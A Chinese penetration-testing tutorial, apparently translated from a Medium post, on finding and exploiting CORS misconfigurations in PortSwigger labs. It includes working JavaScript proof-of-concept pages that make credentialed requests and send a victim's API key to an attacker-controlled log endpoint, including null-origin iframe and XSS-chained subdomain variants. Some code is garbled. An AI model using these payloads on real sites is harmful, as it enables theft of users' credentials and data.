渗透测试 | 跨域资源共享 (CORS) 测试指南

admin 2024年9月18日11:26:09评论30 views字数 7108阅读23分41秒阅读模式

扫码领资料

获网安教程

渗透测试 | 跨域资源共享 (CORS) 测试指南

渗透测试 | 跨域资源共享 (CORS) 测试指南

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

识别 CORS 漏洞:常见攻击向量和修复策略

所有 Web 浏览器都实施称为同源策略 (SOP)的安全策略,该侧露限制域访问和检索其他域资源中的数据。SOP 策略有助于保护用户免受可能访问其敏感数据或代表其执行未经授权的操作的恶意脚本的侵害。

例如,如果business.com尝试向metrics.com ,默认情况下浏览器将阻止该请求,因为它来自不同的域。

尽管 SOP 听起来像是一个适当的保护策略,但它在当今相互依赖操作的技术中无法很好地扩展,例如 API 和微服务,它们需要在域之间访问和共享信息。

为此,需要一种允许跨域交互的新安全机制,称为跨域资源共享(CORS) 。

本文将介绍 CORS 工作原理的基础知识,并识别 CORS 未正确实施时可能出现的常见漏洞。我们还将学习如何测试和利用错误配置,以便在本指南结束时,我们将更好地了解如何在渗透测试评估期间测试和验证 CORS。

我将使用 Port Swigger CORS 实验室来演示测试和利用步骤。

跨域资源共享策略 (CORS)

CORS是一项安全功能,旨在有选择地放宽 SOP 限制并实现对来自不同域的资源的受控访问。CORS 规则允许域通过在响应中添加特定的 HTTP 标头来指定哪些域可以向其请求信息。

有几个与 CORS 相关的 HTTP 标头;我们主要关注两个点——Access Access-Control-Allow-Origin和 Access-Control-Allow-Credentials 

Access-Control-Allow-Origin:该标头指定允许读取响应内容的域。该值可以是通配符(*) (表示允许所有域),也可以是逗号分隔的域列表。
#All domain are allowedAccess-Control-Allow-Origin: * #comma-separated list of domainsAccess-Control-Allow-Origin: example.com, metrics.com
Access-Control-Allow-Credentials :此标头确定域是否允许传递凭据,例如跨源请求中的 cookie 或授权标头。
标头的值为 True 或 False。如果标头设置为“true”,则域允许发送凭据,如果设置为“false”或未包含在响应中,则不允许发送凭据。
#allow passing credenitals in the requestsAccess-Control-Allow-Credentials: true#Disallow passing in the requestsAccess-Control-Allow-Credentials: false

影响

CORS 错误配置可能会对 Web 应用程序的安全性产生重大影响。以下是主要影响:
数据盗窃:攻击者可以利用 CORS 漏洞从应用程序中窃取敏感数据,例如 API 密钥、SSH 密钥、个人身份信息 (PII) 或用户凭据。
跨站脚本(XSS) :攻击者可以利用 CORS 漏洞执行 XSS 攻击,通过将恶意脚本注入网页来窃取会话令牌或代表用户执行未经授权的操作。
某些情况下的远程代码执行(StackStorm 案例:https://quitten.github.io/StackStorm/)

识别 CORS

在测试 CORS 应用程序时,我们检查应用程序的任何响应是否包含 CORS 标头。我们可以使用Burp Suite中的搜索功能来快速搜索标题。
在下面的示例中,我搜索了 Access-Control-Allow-Credentials 标题并得到三个结果。识别标头后,我们选择请求并将其发送到 Repeater 进行进一步分析。
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
为了识别 CORS 问题,我们使用多个值修改请求中的 Origin 标头,并查看从应用程序返回的响应标头。有四种已知方法可以实现此目的:

1. 返回的Origins

将请求中的 Origin 标头设置为任意域,例如https://attackersdomain.com ,并检查响应中的Access-Control-Allow-Origin标头如果它反映了您在请求中提供的确切域,则意味着该域不会过滤任何来源。
如果域允许在请求中传递凭据,则这种错误配置的风险是高风险。我们可以通过检查是否 Access-Control-Allow-Credentials header 也包含在响应中并设置为true 。
但是,如果不允许传递凭据,则漏洞存在概率比较小,因为浏览器不会处理经过身份验证的请求的响应。
渗透测试 | 跨域资源共享 (CORS) 测试指南

2. 修改Origins

将 Origin 标头设置为与目标域匹配的值,但向域添加前缀或后缀以检查域的开头或结尾是否有验证。
如果没有进行检查,我们可以创建一个类似的匹配域,绕过目标域上的 CORS 策略。例如,向metrics.com域添加前缀或后缀将类似于attackmetrics.commetrics.com.attack.com 
如果域允许通过以下方式传递凭据,则这种错误配置的风险被视为高风险: Access-Control-Allow-Credentials header 设置为true,因为攻击者可以创建类似的匹配域并从目标域检索敏感信息。
但是,如果不允许经过身份验证的请求,则漏洞存在概率比较小。

3.具有不安全协议的受信任子域。

将 Origin 标头设置为现有子域并查看是否接受它。如果是,则意味着该域信任其所有子域,如果其中一个子域存在跨站脚本(XSS)漏洞,则攻击者将允许注入恶意 JS payload并执行未经授权的恶意操作。
如果域接受使用不安全协议(例如 HTTP)的子域,并且凭证标头设置为 true,则这种错误配置被视为高风险。否则,它将无法被利用,并且只是一个糟糕的 CORS 实现。
渗透测试 | 跨域资源共享 (CORS) 测试指南

4. Null Origin

将 Origin 标头设置为 null 值 — Origin: null ,然后查看应用程序是否设置 the Access-Control-Allow-Origin标头为空。如果是,则意味着Null Origin已列入白名单。
如果域允许经过身份验证的请求,则风险级别被认为是高的 Access-Control-Allow-Credentials 标头设置为true 
但是,如果没有,则该问题被视为低危且不可利用。
渗透测试 | 跨域资源共享 (CORS) 测试指南

可利用的 CORS 案例

在本节中,我们将通过将 CORS 错误配置分类为测试用例来详细研究它们的利用情况,以便于理解。

案例 1:返回的Origins

当应用程序将Access-Control-Allow-Origin设置为攻击者提供的域并允许在Access-Control-Allow-Credentials设置为 true 的情况下传递凭据时,该应用程序被视为易受攻击。
Access-Control-Allow-Origin: http://attacker-domain.comAccess-Control-Allow-Credentials: true
渗透测试 | 跨域资源共享 (CORS) 测试指南
该漏洞利用要求攻击者将 JS 脚本托管在外部服务器上,以便用户可以访问。然后创建一个HTML页面,嵌入下面的JS脚本,并将其发送给用户。
<html> <body> <script> #Initialize the XMLHttpRequest object, and the application URL vairable var req = new XMLHttpRequest(); var url = ("APPLICATION URL"); #MLHttpRequest object loads, exectutes reqListener() function req.onload = retrieveKeys; #Make GET request to the application accounDetails location req.open('GET', url + "/accountDetails",true); #Allow passing credentials with the requests req.withCredentials = true; #Send the request req.send(null); function retrieveKeys() { location='/log?key='+this.responseText; }; </script> <body></html>
用户访问您的托管页面后,它将自动提交 CORS 请求,以从脚本中指定的位置检索有关用户的信息。了解应用程序结构及其存储敏感信息的位置对于此步骤至关重要。
上面的脚本首先初始化XMLHttpRequest (XHR) 对象,以指示 Web 浏览器我们将使用 HTTP 协议与 Web 服务器之间传输数据。XHR 是一种浏览器 API,允许客户端脚本语言(例如 JavaScript)向服务器发出 HTTP 请求并动态接收其响应,而无需用户刷新页面。
然后,我们指示该对象执行一个名为retrieveKeys函数,该函数获取管理API 密钥并在加载时将响应发送给我们。
接下来,我们发出 GET 请求,指定要从中检索信息的位置,并传递我们的凭据,并将Credentials函数设置为 true。
如果应用程序服务器不允许在域之间传递凭据,则请求将自动被阻止和拒绝。然而,我们知道这不会在这里发生,因为 access-Control-Allow-Credentials 设置为 true。
为了演示该脚本的工作原理,我将使用实验室提供的 PortSwigger 漏洞利用服务器来托管上述脚本。
登录应用程序,单击“转到漏洞利用服务器”,然后将脚本粘贴到正文中。然后点击“向受害者提供漏洞利用”。在实际场景中,您需要将链接发送给用户并尝试吸引他们点击它。
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
提交脚本后,单击“访问日志”,我们应该能够在日志中看到捕获的管理员的 API 密钥。复制包含密钥的字符串并粘贴到 Burp Suite Decoder中,并将其解码为 URL 以检索明文值。
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img

情况2:Null Origin

当应用程序将Access-Control-Allow-Origin设置为 null 值并允许 Access-Control-Allow-Credentials设置为true。
Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true
渗透测试 | 跨域资源共享 (CORS) 测试指南
该漏洞利用要求我们托管 JS 脚本文件,以便目标用户可以访问(与情况 #1 相同)。同样,我们将使用相同的脚本;这次,我们将添加一个 iframe 沙箱来检索 API 密钥。 sandbox 属性将框架的原点设置为 null,以便我们可以将 Origin 标头设置为 null 值。
<html> <body> <iframe style="display: none;" sandbox="allow-scripts" srcdoc=" <script> var req = new XMLHttpRequest(); var url = 'APPLICATION URL' req.onload = retrieveKeys; req.open('GET', url + '/accountDetails', true); req.withCredentials = true; req.send(null); function retrieveKeys() { fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText) } </script>"></iframe> </body></html>
当经过身份验证的用户单击我们的链接时 http://192.168.1.14:5555/cors_null_poc.html ,我们将从帐户详细信息中获取 API 密钥。但是,由于我们的用户不是管理员,因此我们无法检索管理员 API 密钥。
显示以下步骤的要点是,在 Web 应用程序测试评估期间,作为测试人员,您将获得管理员和常规用户帐户来进行测试,在这种情况下,您可以按照以下步骤通过托管来显示您的概念证明本地的文件。当然,您也可以在外部托管该文件作为替代选项。
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

案例 3:受信任的子域

当应用程序将Access-Control-Allow-Origin设置为其任何子域并允许将Access-Control-Allow-Credentials设置为true 的凭据时,该应用程序被视为易受攻击。
此案例的利用取决于现有子域是否容易受到 XSS 漏洞的影响,从而使攻击者能够滥用错误配置。
Access-Control-Allow-Origin: subdomainattacker.example.comAccess-Control-Allow-Credentials: true
渗透测试 | 跨域资源共享 (CORS) 测试指南
如果遇到这种情况,您需要检查所有现有的子域,并尝试找到存在 XSS 漏洞的子域来利用它。
在 Port Swigger 实验室 #3 中,应用程序信任其子域 - stock - 该子域容易受到ProductId=参数中 XSS 漏洞的影响。
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
我们将使用相同的脚本来利用这种情况,只不过我们将使用document.location函数添加注入有效负载的位置。然后我们将有效负载格式化为单行有效负载,以便我们可以将其传递到参数中。
<script> document.location="http://subdomain.domain.com/?productId=<script> <script> var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('GET', "APPLICATION URL/accountDetails",true); req.withCredentials = true; req.send(null); function retrieveKeys() { location='https://Exolit_Server_Hostname/log?key='+this.responseText; }; </script> </script><script> document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"</script>
之后,我们将脚本保存为cors_poc.html 将其托管在我们的服务器上,并将链接发送给用户。
<html><body><script> document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"</script></body></html>
如下图所示,当用户访问链接时,脚本将有效负载注入到productId参数中并检索API密钥。
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img
渗透测试 | 跨域资源共享 (CORS) 测试指南

img

无法利用的情况:通配符 (*)

Access-Control-Allow-Origin设置为通配符*时,即使Access-Control-Allow-Credentials标头设置为 true,应用程序也不会受到攻击。原因是存在安全检查,当源设置为通配符时,该检查会禁用Allow-Credentials 标头。

修复策略

使用CORS 标头白名单:服务器可以添加适当的 CORS 标头以仅允许来自受信任站点的跨源请求。
限制对敏感数据的访问:将对敏感数据的访问限制为仅受信任的域,这一点很重要。这可以通过实施身份验证和授权等访问控制措施来完成。

以上内容由白帽子左一翻译并整理。原文:https://medium.com/r3d-buck3t/cross-origin-resource-sharing-cors-testing-guide-29616c225a0a

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):渗透测试 | 跨域资源共享 (CORS) 测试指南

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月18日11:26:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试 | 跨域资源共享 (CORS) 测试指南https://cn-sec.com/archives/3171971.html

发表评论

匿名网友 填写信息